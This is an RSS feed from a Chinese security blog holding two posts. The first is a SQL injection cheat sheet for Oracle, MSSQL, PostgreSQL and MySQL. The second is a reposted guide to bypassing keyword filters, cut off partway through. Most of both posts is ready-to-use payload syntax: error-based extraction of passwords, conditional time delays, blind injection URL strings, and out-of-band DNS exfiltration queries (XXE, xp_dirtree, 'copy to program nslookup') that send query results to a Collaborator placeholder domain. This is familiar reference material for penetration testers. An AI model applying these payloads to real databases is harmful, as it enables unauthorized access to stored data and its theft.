<?xml version="1.0" encoding="utf-8" standalone="yes"?><?xml-stylesheet href="/scripts/pretty-feed-v3.xsl" type="text/xsl"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:h="http://www.w3.org/TR/html4/"><channel><title>Hack Your Heart</title><link>https://h4cker.zip/tags/sql%E6%B3%A8%E5%85%A5/</link><description>临渊羡鱼，不如退而结网</description><generator>Hugo 0.168.0</generator><language>en</language><atom:link href="https://h4cker.zip/tags/sql%E6%B3%A8%E5%85%A5/rss.xml" rel="self" type="application/rss+xml"/><lastBuildDate>Sat, 22 Feb 2025 23:07:58 +0800</lastBuildDate><item><title>SQL注入速查表</title><link>https://h4cker.zip/b30834/</link><pubDate>Sat, 22 Feb 2025 23:07:58 +0800</pubDate><guid isPermaLink="true">https://h4cker.zip/b30834/</guid><description/><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>此SQL注入速查表包含一些有用语法的示例，您可以使用这些示例执行SQL注入攻击时经常出现的各种任务。</p>
<h2 id="字符串连接">字符串连接<a class="anchor" href="#字符串连接">#</a></h2>
<p>您可以将多个字符串连接在一起以形成单个字符串。</p>
<table>
  <thead>
      <tr>
          <th style="font-weight: normal">Oracle</th>
          <th style="font-weight: normal"><code>'foo'||'bar'</code></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Microsoft</td>
          <td><code>'foo'+'bar'</code></td>
      </tr>
      <tr>
          <td>PostgreSQL</td>
          <td><code>'foo'||'bar'</code></td>
      </tr>
      <tr>
          <td>MySQL</td>
          <td><code>'foo' 'bar'</code>[注意字符串之间的空格]<br><code>CONCAT ('foo'，'bar')</code></td>
      </tr>
  </tbody>
</table>
<h2 id="子串">子串<a class="anchor" href="#子串">#</a></h2>
<p>可以从指定的偏移量和指定的长度提取字符串的一部分。注意，偏移索引是从1开始的。下面的每个表达式都将返回字符串<code>ba</code>。</p>
<table>
  <thead>
      <tr>
          <th style="font-weight: normal">Oracle简介</th>
          <th style="font-weight: normal"><code>SUBSTR('foobar', 4, 2)</code></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Microsoft</td>
          <td><code>SUBSTRING('foobar', 4, 2)</code></td>
      </tr>
      <tr>
          <td>PostgreSQL</td>
          <td><code>SUBSTRING('foobar', 4, 2)</code></td>
      </tr>
      <tr>
          <td>MySQL</td>
          <td><code>SUBSTRING('foobar', 4, 2)</code></td>
      </tr>
  </tbody>
</table>
<h2 id="注释">注释<a class="anchor" href="#注释">#</a></h2>
<p>您可以使用注释来截断查询并删除原始查询中跟在输入之后的部分。</p>
<table>
  <thead>
      <tr>
          <th style="font-weight: normal">Oracle简介</th>
          <th style="font-weight: normal"><code>--comment</code></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Microsoft</td>
          <td><code>--comment/*comment*/</code></td>
      </tr>
      <tr>
          <td>PostgreSQL</td>
          <td><code>--comment/*comment*/</code></td>
      </tr>
      <tr>
          <td>MySQL</td>
          <td><code>#评论</code> <code>-- comment</code>[注意双破折号后的空格] <code>/*comment*/</code></td>
      </tr>
  </tbody>
</table>
<h2 id="数据库版本">数据库版本<a class="anchor" href="#数据库版本">#</a></h2>
<p>您可以查询数据库以确定其类型和版本。在制定更复杂的攻击时，此信息非常有用。</p>
<table>
  <thead>
      <tr>
          <th style="font-weight: normal">Oracle简介</th>
          <th style="font-weight: normal"><code>SELECT banner FROM v$versionSELECT version FROM v$instance</code></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Microsoft</td>
          <td><code>SELECT @@version</code></td>
      </tr>
      <tr>
          <td>PostgreSQL</td>
          <td><code>SELECT version()</code></td>
      </tr>
      <tr>
          <td>MySQL</td>
          <td><code>SELECT @@version</code></td>
      </tr>
  </tbody>
</table>
<h2 id="数据库内容">数据库内容<a class="anchor" href="#数据库内容">#</a></h2>
<p>可以列出数据库中存在的表以及这些表包含的列。</p>
<table>
  <thead>
      <tr>
          <th style="font-weight: normal">Oracle简介</th>
          <th style="font-weight: normal"><code>SELECT * FROM all_tablesSELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'</code></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Microsoft</td>
          <td><code>SELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'</code></td>
      </tr>
      <tr>
          <td>PostgreSQL</td>
          <td><code>SELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'</code></td>
      </tr>
      <tr>
          <td>MySQL</td>
          <td><code>SELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'</code></td>
      </tr>
  </tbody>
</table>
<h2 id="条件错误">条件错误<a class="anchor" href="#条件错误">#</a></h2>
<p>您可以测试单个布尔条件，如果条件为真，则触发数据库错误。</p>
<table>
  <thead>
      <tr>
          <th style="font-weight: normal">Oracle简介</th>
          <th style="font-weight: normal"><code>SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual</code></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Microsoft</td>
          <td><code>SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END</code></td>
      </tr>
      <tr>
          <td>PostgreSQL</td>
          <td><code>1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END)</code></td>
      </tr>
      <tr>
          <td>MySQL</td>
          <td><code>SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')</code></td>
      </tr>
  </tbody>
</table>
<h2 id="通过可见的错误消息提取数据">通过可见的错误消息提取数据<a class="anchor" href="#通过可见的错误消息提取数据">#</a></h2>
<p>您可能会引发泄漏恶意查询返回的敏感数据的错误消息。</p>
<table>
  <thead>
      <tr>
          <th style="font-weight: normal">Microsoft</th>
          <th style="font-weight: normal"><code>SELECT 'foo' WHERE 1 = (SELECT 'secret') &gt; Conversion failed when converting the varchar value 'secret' to data type int.</code></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>PostgreSQL</td>
          <td><code>SELECT CAST((SELECT password FROM users LIMIT 1) AS int) &gt; invalid input syntax for integer: "secret"</code></td>
      </tr>
      <tr>
          <td>MySQL</td>
          <td><code>SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret'))) &gt; XPATH syntax error: '\secret'</code></td>
      </tr>
  </tbody>
</table>
<h2 id="批处理或堆叠查询">批处理（或堆叠）查询<a class="anchor" href="#批处理或堆叠查询">#</a></h2>
<p>可以使用批处理查询连续执行多个查询。请注意，在执行后续查询时，不会将结果返回给应用程序。因此，这种技术主要用于与盲漏洞相关的漏洞，您可以使用第二个查询来触发DNS查找，条件错误或时间延迟。</p>
<table>
  <thead>
      <tr>
          <th style="font-weight: normal">Oracle简介</th>
          <th style="font-weight: normal"><code>Does not support batched queries.</code></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Microsoft</td>
          <td><code>QUERY-1-HERE; QUERY-2-HEREQUERY-1-HERE QUERY-2-HERE</code></td>
      </tr>
      <tr>
          <td>PostgreSQL</td>
          <td><code>QUERY-1-HERE; QUERY-2-HERE</code></td>
      </tr>
      <tr>
          <td>MySQL</td>
          <td><code>QUERY-1-HERE; QUERY-2-HERE</code></td>
      </tr>
  </tbody>
</table>
<span style="color:red;font-weight:bold;">注意</span>
<p>对于MySQL，批处理查询通常不能用于SQL注入。但是，如果目标应用程序使用某些PHP或Python API与MySQL数据库进行通信，则有时可能会出现这种情况。</p>
<h2 id="时间延迟">时间延迟<a class="anchor" href="#时间延迟">#</a></h2>
<p>处理查询时，可能会导致数据库中出现时间延迟。以下内容将导致10秒的无条件时间延迟。</p>
<table>
  <thead>
      <tr>
          <th style="font-weight: normal">Oracle简介</th>
          <th style="font-weight: normal"><code>dbms_pipe.receive_message(('a'),10)</code></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Microsoft</td>
          <td><code>WAITFOR DELAY '0:0:10'</code></td>
      </tr>
      <tr>
          <td>PostgreSQL</td>
          <td><code>SELECT pg_sleep(10)</code></td>
      </tr>
      <tr>
          <td>MySQL</td>
          <td><code>SELECT SLEEP(10)</code></td>
      </tr>
  </tbody>
</table>
<h2 id="条件时滞">条件时滞<a class="anchor" href="#条件时滞">#</a></h2>
<p>您可以测试单个布尔条件，如果条件为真，则触发时间延迟。</p>
<table>
  <thead>
      <tr>
          <th style="font-weight: normal">Oracle简介</th>
          <th style="font-weight: normal"><code>SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual</code></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Microsoft</td>
          <td><code>IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'</code></td>
      </tr>
      <tr>
          <td>PostgreSQL</td>
          <td><code>SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END</code></td>
      </tr>
      <tr>
          <td>MySQL</td>
          <td><code>SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a')</code></td>
      </tr>
  </tbody>
</table>
<h2 id="dns查找">DNS查找<a class="anchor" href="#dns查找">#</a></h2>
<p>您可以使数据库对外部域执行DNS查找。为此，您需要使用<a
  href="https://portswigger.net/burp/documentation/desktop/tools/collaborator" rel="nofollow noopener noreferrer" target="_blank"
  >Burp Collaborator<span style="user-select:none"> ↗</span></a
>
生成一个将用于攻击的唯一Burp Collaborator子域，然后轮询Collaborator服务器以确认发生了DNS查找。</p>
<table>
  <thead>
      <tr>
          <th style="font-weight: normal">Oracle简介</th>
          <th style="font-weight: normal">(XXE)触发DNS查找的漏洞。该漏洞已被修补，但存在许多未修补的Oracle安装：<code>SELECT EXTRACTVALUE(xmltype('&lt;?xml version="1.0" encoding="UTF-8"?&gt;&lt;!DOCTYPE root [ &lt;!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"&gt; %remote;]&gt;'),'/l') FROM dual</code>以下技术适用于完全修补的Oracle安装，但需要提升的权限：<code>SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')</code></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Microsoft</td>
          <td><code>exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'</code></td>
      </tr>
      <tr>
          <td>PostgreSQL</td>
          <td><code>copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'</code></td>
      </tr>
      <tr>
          <td>MySQL</td>
          <td>以下技术仅适用于Windows：<code>LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')</code> <code>SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'</code></td>
      </tr>
  </tbody>
</table>
<h2 id="dns查找与数据泄漏">DNS查找与数据泄漏<a class="anchor" href="#dns查找与数据泄漏">#</a></h2>
<p>您可以使数据库对包含插入查询结果的外部域执行DNS查找。为此，您需要使用<a
  href="https://portswigger.net/burp/documentation/desktop/tools/collaborator" rel="nofollow noopener noreferrer" target="_blank"
  >Burp Collaborator<span style="user-select:none"> ↗</span></a
>
生成一个用于攻击的唯一Burp Collaborator子域，然后轮询Collaborator服务器以检索任何DNS交互的详细信息，包括泄露的数据。</p>
<table>
  <thead>
      <tr>
          <th style="font-weight: normal">Oracle简介</th>
          <th style="font-weight: normal"><code>SELECT EXTRACTVALUE(xmltype('&lt;?xml version="1.0" encoding="UTF-8"?&gt;&lt;!DOCTYPE root [ &lt;!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"&gt; %remote;]&gt;'),'/l') FROM dual</code></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Microsoft</td>
          <td><code>declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')</code></td>
      </tr>
      <tr>
          <td>PostgreSQL</td>
          <td>`create OR replace function f() returns void as $$declare c text;declare p text;beginSELECT into p (SELECT YOUR-QUERY-HERE);c := ‘copy (SELECT ‘’’’) to program ‘’nslookup '</td>
      </tr>
      <tr>
          <td>MySQL</td>
          <td>The following technique works on Windows only: <code>SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'</code></td>
      </tr>
  </tbody>
</table>]]></content:encoded><h:img src="https://h4cker.zip/b30834/SQLi_cheatsheet_cover.webp"/><enclosure url="https://h4cker.zip/b30834/SQLi_cheatsheet_cover.webp"/><category>SQL注入</category><category>Oracle</category><category>PostgreSQL</category><category>MySQL</category><category>Microsoft</category></item><item><title>SQL注入针对关键字过滤的绕过技巧</title><link>https://h4cker.zip/c0aecf/</link><pubDate>Thu, 14 Nov 2024 10:56:41 +0800</pubDate><guid isPermaLink="true">https://h4cker.zip/c0aecf/</guid><description/><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>转载自 zu1k 的 <a
  href="https://zu1k.com/posts/security/web-security/bypass-tech-for-sql-injection-keyword-filtering/" rel="nofollow noopener noreferrer" target="_blank"
  >SQL注入针对关键字过滤的绕过技巧<span style="user-select:none"> ↗</span></a
>
</p>
<p>在SQL注入中经常会遇到服务端针对注入关键字进行过滤，经过查询各种文章，总结了一部分绕过的方法。</p>
<blockquote>
<p>2020.08.08更新：增加利用MySQL8.0语法新特性绕过方法，增加SQL注入过滤和检测的几种思路和绕过方法</p>
</blockquote>
<h2 id="过滤空格">过滤空格<a class="anchor" href="#过滤空格">#</a></h2>
<h3 id="使用注释符绕过">使用注释符<code>/**/</code>绕过<a class="anchor" href="#使用注释符绕过">#</a></h3>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">SELECT</span><span class="cm">/**/</span><span class="n">name</span><span class="cm">/**/</span><span class="k">FROM</span><span class="cm">/**/</span><span class="k">table</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h3 id="使用url编码绕过">使用url编码绕过<a class="anchor" href="#使用url编码绕过">#</a></h3>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="o">%</span><span class="n">a0</span><span class="w"> </span><span class="err">发出去就是空格的意思，但是需要在</span><span class="n">burp中抓包后修改</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h3 id="使用浮点数绕过">使用浮点数绕过<a class="anchor" href="#使用浮点数绕过">#</a></h3>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">select</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="n">users</span><span class="w"> </span><span class="k">where</span><span class="w"> </span><span class="n">id</span><span class="o">=</span><span class="mi">8</span><span class="n">E0union</span><span class="w"> </span><span class="k">select</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="w">
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="err">等价于</span><span class="w">
</span></span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="k">select</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="n">users</span><span class="w"> </span><span class="k">where</span><span class="w"> </span><span class="n">id</span><span class="o">=</span><span class="mi">8</span><span class="p">.</span><span class="mi">0</span><span class="w"> </span><span class="k">select</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h3 id="使用tab替代空格">使用Tab替代空格<a class="anchor" href="#使用tab替代空格">#</a></h3>
<h3 id="使用两个空格替代一个空格">使用两个空格替代一个空格<a class="anchor" href="#使用两个空格替代一个空格">#</a></h3>
<h3 id="使用括号绕过">使用括号绕过<a class="anchor" href="#使用括号绕过">#</a></h3>
<p>如果空格被过滤，括号没有被过滤，可以用括号绕过。 在MySQL中，括号是用来包围子查询的。因此，任何可以计算出结果的语句，都可以用括号包围起来。而括号的两端，可以没有多余的空格。</p>
<p>例如：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">select</span><span class="p">(</span><span class="k">user</span><span class="p">())</span><span class="k">from</span><span class="w"> </span><span class="n">dual</span><span class="w"> </span><span class="k">where</span><span class="p">(</span><span class="mi">1</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span><span class="k">and</span><span class="p">(</span><span class="mi">2</span><span class="o">=</span><span class="mi">2</span><span class="p">)</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>这种过滤方法常常用于time based盲注，例如：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="o">?</span><span class="n">id</span><span class="o">=</span><span class="mi">1</span><span class="o">%</span><span class="mi">27</span><span class="k">and</span><span class="p">(</span><span class="n">sleep</span><span class="p">(</span><span class="n">ascii</span><span class="p">(</span><span class="n">mid</span><span class="p">(</span><span class="k">database</span><span class="p">()</span><span class="k">from</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="k">for</span><span class="p">(</span><span class="mi">1</span><span class="p">)))</span><span class="o">=</span><span class="mi">109</span><span class="p">))</span><span class="o">%</span><span class="mi">23</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
